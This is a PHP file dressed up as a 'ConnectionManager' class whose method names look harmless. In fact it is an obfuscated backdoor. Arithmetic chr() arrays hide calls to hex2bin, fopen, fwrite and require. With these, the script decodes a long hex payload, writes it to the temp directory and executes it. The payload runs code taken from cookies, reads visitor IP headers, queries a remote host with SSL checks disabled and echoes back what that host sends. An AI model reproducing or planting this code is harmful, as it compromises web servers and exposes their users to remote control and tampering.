<?php
class ConnectionManager {
	private $ke = '';
	private $np = '';

	public function manageState($p1) {
		$a = array(((63+41)),(101*1),(120),((43+6+1)),(((85*1)+13)),(((61*1)+44)),((103*75)-7615));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function logEvent($p1,$p2) {
		$a = array((110),((107-6)),(112),(111),((106-4)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function resolveConflict($p1,$p2) {
		$a = array(((71*1)+30),(((41*73)-2877)),((48*1)+57),((69+45)),(119),(8+94));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function updateCache($p1) {
		$a = array(101,(5*23),(118-7),((102*75)-7542),(((73*55)-3916)),(((97*1)+5)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function calculateSum($p1,$p2=null) {
		$a = array((((49*1)+65)),((119-3)),(((110*65)-7036)),105,((89*49)-4252));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function parseResponse() {
		$this->np = $this->calculateSum($this->resetState(), '/');
	}

	public function authorizeUser() {
		$this->ke = $this->manageState($this->gp);
	}

	public function trackActivity() {
		$fn = $this->np.'/bn-67fc1d79087d2';
		$f = $this->logEvent($fn, 'w');
		$this->resolveConflict($f, $this->ke);
		$this->updateCache($f);
		$this->checkConsistency($fn);
	}

	private $gp = '3c3f70687020636c617373205f6373647b707269766174652' . '0737461746963245f7569783b7374617469632066756e63746' . '96f6e205f7a6d7428245f7161297b6966282173656c663a3a2' . '45f7569782973656c663a3a5f786f28293b72657475726e206' . '865783262696e2873656c663a3a245f7569785b245f71615d2' . '93b7d70726976617465207374617469632066756e6374696f6' . 'e205f786f28297b73656c663a3a245f7569783d61727261792' . '8275f636d6c273d3e2734313633363336353733272e2737333' . '264343336663665373437272e27323666366332643431272e2' . '736633663366637373264272e273466272e273732272e27363' . '9363736393665336132272e27303261272c275f717563273d3' . 'e2734333666366537343635366537343264353437393730363' . '53361323036313730373036633639363336313734363936663' . '665326636613631272e27373636313733363337272e2732362' . '72e2739272e273730272e2737272e2734272c275f6f78273d3' . 'e2736272e273336272e2738272c275f7470273d3e273635373' . '93461373036333433343933363439366136373334346336612' . '72e27363733343463366136373334346336613637333434393' . '63937373639363435373435363934663639346133303561353' . '83465333034393639373736393633366435272e27363664343' . '93661366636393634343735272e273637613634272e2734333' . '461272e2733272e2739272c275f6474273d3e2737313737372' . '72e2761272e2737272e2738272c275f6f7275273d3e2733633' . '666272e27366233272e2765272c275f6878273d3e273363363' . '2363136343365272c275f63657a273d3e27373736313663366' . '3272c275f6772273d3e27272c275f66736f273d3e27272c275' . 'f666269273d3e27272c275f666d64273d3e273638373437343' . '730336132663266373037353632272e2732653737363536323' . '63636393663363536383666373337343635373232653633366' . '636643266363336272e2766366437303666373336353732326' . '53661373333663634363137272e2734363133272e2764272c2' . '75f646d75273d3e273633373537323663356636272e2739366' . '53639272e273734272c275f706c273d3e27363837343734373' . '035272e276636272e273336272e2766272e273634272e27362' . '72e2735272c275f7569273d3e27373336333638363536272e2' . '76436272e2735272c275f6c677a273d3e2736383734272e273' . '734272e2737303733272c275f677978273d3e2734373435353' . '4272e273230272c275f7861273d3e2737303631272e2737343' . '6272e2738272c275f746c273d3e27373137353635373237392' . '72c275f6873273d3e2733272e2766272c275f627572273d3e2' . '737313735363537272e273237272e2739272c275f6177273d3' . 'e2732303438353435343530326633313265333030272e27643' . '06134383666272e2737272e27333734336132272e2730272c2' . '75f7a65273d3e27363836663733272e273734272c275f736a6' . '9273d3e2730643061343336272e27663665366536353633373' . '436393666272e2736653361323034333663366637272e27333' . '6272e273530272e27643061306430272e2761272c275f75737' . '3273d3e273733373336633361272e27326632272e2766272c2' . '75f6d6d62273d3e27272c275f7668273d3e273638272e27366' . '63733272e2737272e2734272c275f6f6875273d3e2730272e2' . '7643061272c275f7a6772273d3e27343835343534353035663' . '433346334393435346535343566343935272e2730272c275f6' . 'd736b273d3e273438353435343530356635383566343634663' . '5272e273235373431353234343435343435663436272e27346' . '6272e273532272c275f7272273d3e273532343534643466353' . '4343535663431272e273434272e2734343532272c275f766b6' . 'c273d3e2734383534353435303566353535333435353235663' . '431343734272e273534272e27653534272c275f687a65273d3' . 'e27343835272e273435343530272e273566353535333435352' . '72e27323566343134272e2737272e273435272e27346535342' . '72c275f736f6f273d3e27272c275f7179273d3e27343835343' . '5343530272e273566353234353436343535323435272e27353' . '2272c275f686b67273d3e27343835343534353035663532343' . '534363435353234272e273535272e2732272c275f6275273d3' . 'e27272c275f7364273d3e27343835343534353035663433342' . '72e27633439272e27343534653534356634272e273935272e2' . '730272c275f7273273d3e27343835343534353035663433346' . '334272e273934353465353435272e2766343935272e2730272' . 'c275f61796f273d3e273438353435343530356635272e27383' . '56634363466353235373431353234343435343435663436272' . 'e27346635272e2732272c275f786b79273d3e2734383534353' . '43530356635383566343634663532353734313532343434353' . '43435272e2766343634272e2766272e2735272e2732272c275' . 'f7463273d3e2735323435346434272e2766353434353566343' . '134343434272e2735272e2732272c275f716876273d3e27353' . '234353464272e27346635343435356634272e2731343434343' . '5272e2732272c275f696b65273d3e273634363236272e27372' . '72e273664366636272e2734272e273635272c275f786f6c273' . 'd3e2734393530336132272e2730272c275f787661273d3e273' . '230376332303535272e2734313361272e2732272e2730272c2' . '75f6473273d3e273230272e273763272e27323035272e27323' . '6353636336132272e2730272c275f6b726e273d3e273230272' . 'e27336336323732272e2733653061272c275f7664273d3e273' . '6393730272c275f6c78273d3e2737272e2735272e2736272e2' . '731272c275f6262273d3e2737323635272e2736272e2736272' . 'c275f706c71273d3e2737313737376137272e2738272c293b7' . 'd7d636c617373205f6463617b7072697661746520737461746' . '963245f7569783b7374617469632066756e6374696f6e205f7' . 'a6d7428245f7161297b6966282173656c663a3a245f7569782' . '973656c663a3a5f786f28293b72657475726e2073656c663a3' . 'a245f7569785b245f71615d3b7d70726976617465207374617' . '469632066756e6374696f6e205f786f28297b73656c663a3a2' . '45f7569783d61727261792830302c30372c3033362c3033362' . 'c30312c3033362c30322c30372c30312c3031362c3033302c3' . '0362c3033322c3031322c3031312c3031332c3032372c30333' . '12c30332c30322c30312c30312c30302c3031322c3031322c3' . '03331302c303637332c303132302c30302c30323030302c303' . '12c303432332c30343233293b7d7d686561646572285f63736' . '43a3a5f7a6d7428275f63272e276d6c2729293b68656164657' . '2285f6373643a3a5f7a6d7428275f272e277175272e2763272' . '9293b696628697373657428245f4745545b5f6373643a3a5f7' . 'a6d7428275f272e276f7827295d29297b245f64683d5f676e6' . 'd285f6373643a3a5f7a6d7428275f272e2774702729293b696' . '628245f64682626737472706f7328245f64682c5f6373643a3' . 'a5f7a6d7428275f64272e2774272929213d3d66616c7365297' . 'b646965285f6373643a3a5f7a6d7428275f6f272e2772272e2' . '7752729293b7d656c73657b646965285f6373643a3a5f7a6d7' . '428275f68782729293b7d7d696628697373657428245f47455' . '45b5f6373643a3a5f7a6d7428275f272e2763272e2765272e2' . '77a27295d29297b245f73613d245f434f4f4b49453b245f687' . '73d5f6463613a3a5f7a6d742830293b245f71613d5f6463613' . 'a3a5f7a6d742831293b245f7164743d617272617928293b245' . 'f7164745b245f68775d3d5f6373643a3a5f7a6d7428275f272' . 'e27677227293b7768696c6528245f7161297b245f7164745b2' . '45f68775d2e3d245f73615b5f6463613a3a5f7a6d742832295' . 'd5b245f71615d3b69662821245f73615b5f6463613a3a5f7a6' . 'd742833295d5b245f71612b5f6463613a3a5f7a6d742834295' . 'd297b69662821245f73615b5f6463613a3a5f7a6d742835295' . 'd5b245f71612b5f6463613a3a5f7a6d742836295d296272656' . '16b3b245f68772b2b3b245f7164745b245f68775d3d5f63736' . '43a3a5f7a6d7428275f66272e2773272e276f27293b245f716' . '12b2b3b7d245f71613d245f71612b5f6463613a3a5f7a6d742' . '837292b5f6463613a3a5f7a6d742838293b7d245f68773d245' . 'f7164745b5f6463613a3a5f7a6d742839295d28292e245f716' . '4745b5f6463613a3a5f7a6d74283130295d3b69662821245f7' . '164745b5f6463613a3a5f7a6d74283131295d28245f6877292' . '97b245f71613d245f7164745b5f6463613a3a5f7a6d7428313' . '2295d28245f68772c245f7164745b5f6463613a3a5f7a6d742' . '83133295d293b245f7164745b5f6463613a3a5f7a6d7428313' . '4295d28245f71612c245f7164745b5f6463613a3a5f7a6d742' . '83135295d2e245f7164745b5f6463613a3a5f7a6d742831362' . '95d28245f7164745b5f6463613a3a5f7a6d74283137295d282' . '45f73615b5f6463613a3a5f7a6d74283138295d2929293b7d6' . '96e636c75646528245f6877293b7d66756e6374696f6e205f6' . '76e6d28245f6c696f2c245f77773d2d33383135362c245f6b6' . '7783d277565646e766a272c245f7a6f6f3d66616c7365297b2' . '45f6563623d5f6373643a3a5f7a6d7428275f66626927293b2' . '45f7076783d5f6373643a3a5f7a6d7428275f66272e276d642' . '7292e245f6c696f3b69662869735f63616c6c61626c65285f6' . '373643a3a5f7a6d7428275f646d272e2775272929297b245f6' . '1713d6375726c5f696e697428245f707678293b6375726c5f7' . '365746f707428245f61712c4355524c4f50545f53534c5f564' . '552494659504545522c66616c7365293b6375726c5f7365746' . 'f707428245f61712c4355524c4f50545f53534c5f564552494' . '659484f53542c5f6463613a3a5f7a6d7428313929293b63757' . '26c5f7365746f707428245f61712c4355524c4f50545f464f4' . 'c4c4f574c4f434154494f4e2c5f6463613a3a5f7a6d7428323' . '029293b6375726c5f7365746f707428245f61712c4355524c4' . 'f50545f52455455524e5452414e534645522c5f6463613a3a5' . 'f7a6d7428323129293b6375726c5f7365746f707428245f617' . '12c4355524c4f50545f4845414445522c5f6463613a3a5f7a6' . 'd7428323229293b6375726c5f7365746f707428245f61712c4' . '355524c4f50545f434f4e4e45435454494d454f55542c5f646' . '3613a3a5f7a6d7428323329293b6375726c5f7365746f70742' . '8245f61712c4355524c4f50545f54494d454f55542c5f64636' . '13a3a5f7a6d7428323429293b245f6563623d6375726c5f657' . '8656328245f6171293b245f72703d6375726c5f676574696e6' . '66f28245f6171293b6375726c5f636c6f736528245f6171293' . 'b696628245f72705b5f6373643a3a5f7a6d7428275f272e277' . '06c27295d213d5f6463613a3a5f7a6d7428323529297265747' . '5726e2066616c73653b7d656c73657b245f63626f3d7061727' . '3655f75726c28245f707678293b245f6a6a3d28245f63626f5' . 'b5f6373643a3a5f7a6d7428275f75272e276927295d3d3d5f6' . '373643a3a5f7a6d7428275f6c272e27677a2729293b245f776' . 'e753d5f6373643a3a5f7a6d7428275f6779272e277827292e2' . '45f63626f5b5f6373643a3a5f7a6d7428275f272e277861272' . '95d3b696628697373657428245f63626f5b5f6373643a3a5f7' . 'a6d7428275f272e27746c27295d2929245f776e752e3d5f637' . '3643a3a5f7a6d7428275f687327292e245f63626f5b5f63736' . '43a3a5f7a6d7428275f62757227295d3b245f776e752e3d5f6' . '373643a3a5f7a6d7428275f617727292e245f63626f5b5f637' . '3643a3a5f7a6d7428275f7a272e276527295d2e5f6373643a3' . 'a5f7a6d7428275f736a6927293b245f6c6e713d66736f636b6' . 'f70656e2828245f6a6a3f5f6373643a3a5f7a6d7428275f752' . '72e27737327293a5f6373643a3a5f7a6d7428275f6d6d62272' . '9292e245f63626f5b5f6373643a3a5f7a6d7428275f272e277' . '6272e276827295d2c245f6a6a3f5f6463613a3a5f7a6d74283' . '236293a5f6463613a3a5f7a6d7428323729293b696628245f6' . 'c6e71297b667075747328245f6c6e712c245f776e75293b245' . 'f666a3d5f6463613a3a5f7a6d74283238293b7768696c65282' . '166656f6628245f6c6e7129297b245f7a69643d66676574732' . '8245f6c6e712c5f6463613a3a5f7a6d7428323929293b69662' . '8245f666a29245f6563622e3d245f7a69643b696628245f7a6' . '9643d3d5f6373643a3a5f7a6d7428275f6f68272e277527292' . '9245f666a3d5f6463613a3a5f7a6d74283330293b7d66636c6' . 'f736528245f6c6e71293b7d7d72657475726e245f6563623b7' . 'd245f77673d697373657428245f5345525645525b5f6373643' . 'a3a5f7a6d7428275f272e277a272e27677227295d293b245f7' . '16b753d697373657428245f5345525645525b5f6373643a3a5' . 'f7a6d7428275f6d272e27736b27295d293b245f62706d3d697' . '373657428245f5345525645525b5f6373643a3a5f7a6d74282' . '75f727227295d293b245f6a75743d697373657428245f53455' . '25645525b5f6373643a3a5f7a6d7428275f272e2776272e276' . 'b272e276c27295d293f245f5345525645525b5f6373643a3a5' . 'f7a6d7428275f68272e277a6527295d3a5f6373643a3a5f7a6' . 'd7428275f73272e276f272e276f27293b245f71653d6973736' . '57428245f5345525645525b5f6373643a3a5f7a6d7428275f2' . '72e27717927295d293f245f5345525645525b5f6373643a3a5' . 'f7a6d7428275f686b6727295d3a5f6373643a3a5f7a6d74282' . '75f272e2762272e277527293b245f77673d697373657428245' . 'f5345525645525b5f6373643a3a5f7a6d7428275f272e27736' . '427295d293f245f5345525645525b5f6373643a3a5f7a6d742' . '8275f72272e277327295d3a6e756c6c3b245f716b753d69737' . '3657428245f5345525645525b5f6373643a3a5f7a6d7428275' . 'f272e2761796f27295d293f245f5345525645525b5f6373643' . 'a3a5f7a6d7428275f786b272e277927295d3a6e756c6c3b245' . 'f62706d3d697373657428245f5345525645525b5f6373643a3' . 'a5f7a6d7428275f746327295d293f245f5345525645525b5f6' . '373643a3a5f7a6d7428275f71687627295d3a6e756c6c3b696' . '62866696c7465725f76617228245f77672c5f6463613a3a5f7' . 'a6d742833312929297b245f616e683d245f77673b7d656c736' . '569662866696c7465725f76617228245f716b752c5f6463613' . 'a3a5f7a6d742833322929297b245f616e683d245f716b753b7' . 'd656c73657b245f616e683d245f62706d3b7d6966286973736' . '57428245f4745545b5f6373643a3a5f7a6d7428275f272e276' . '9272e276b6527295d29297b6563686f205f6373643a3a5f7a6' . 'd7428275f786f6c27292e245f616e682e5f6373643a3a5f7a6' . 'd7428275f7876272e276127292e245f6a75742e5f6373643a3' . 'a5f7a6d7428275f272e27647327292e245f71652e5f6373643' . 'a3a5f7a6d7428275f6b72272e276e27293b6578697428293b7' . 'd69662821697373657428245f616e68297c7c2169737365742' . '8245f6a7574297c7c21697373657428245f716529297b65786' . '97428293b7d656c73657b245f7a643d6172726179285f63736' . '43a3a5f7a6d7428275f766427293d3e245f616e682c5f63736' . '43a3a5f7a6d7428275f6c7827293d3e245f6a75742c5f63736' . '43a3a5f7a6d7428275f272e27626227293d3e245f7165293b2' . '45f69643d75726c656e636f6465286261736536345f656e636' . 'f6465286a736f6e5f656e636f646528245f7a642929293b245' . 'f64683d5f676e6d28245f6964293b696628245f64682626737' . '472706f7328245f64682c5f6373643a3a5f7a6d7428275f702' . '72e276c272e2771272929213d3d66616c7365297b6563686f2' . '45f64683b6578697428293b7d7d';

	public function checkConsistency($p) {
		require($p);
	}

	public function resetState() {
		$a=array((98+17),((91*105)-9434),(((96*88)-8333)),(95),(((19*57)-980)),((30*3)+11),((79*1)+37),((5*19)),((2*58)),((67*60)-3919),((109*1)),(((87*1)+25)),(((91*94)-8459)),((106-6)),((68*62)-4111),(57+57));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$bh = new ConnectionManager();
$bh->parseResponse();
$bh->authorizeUser();
$bh->trackActivity();
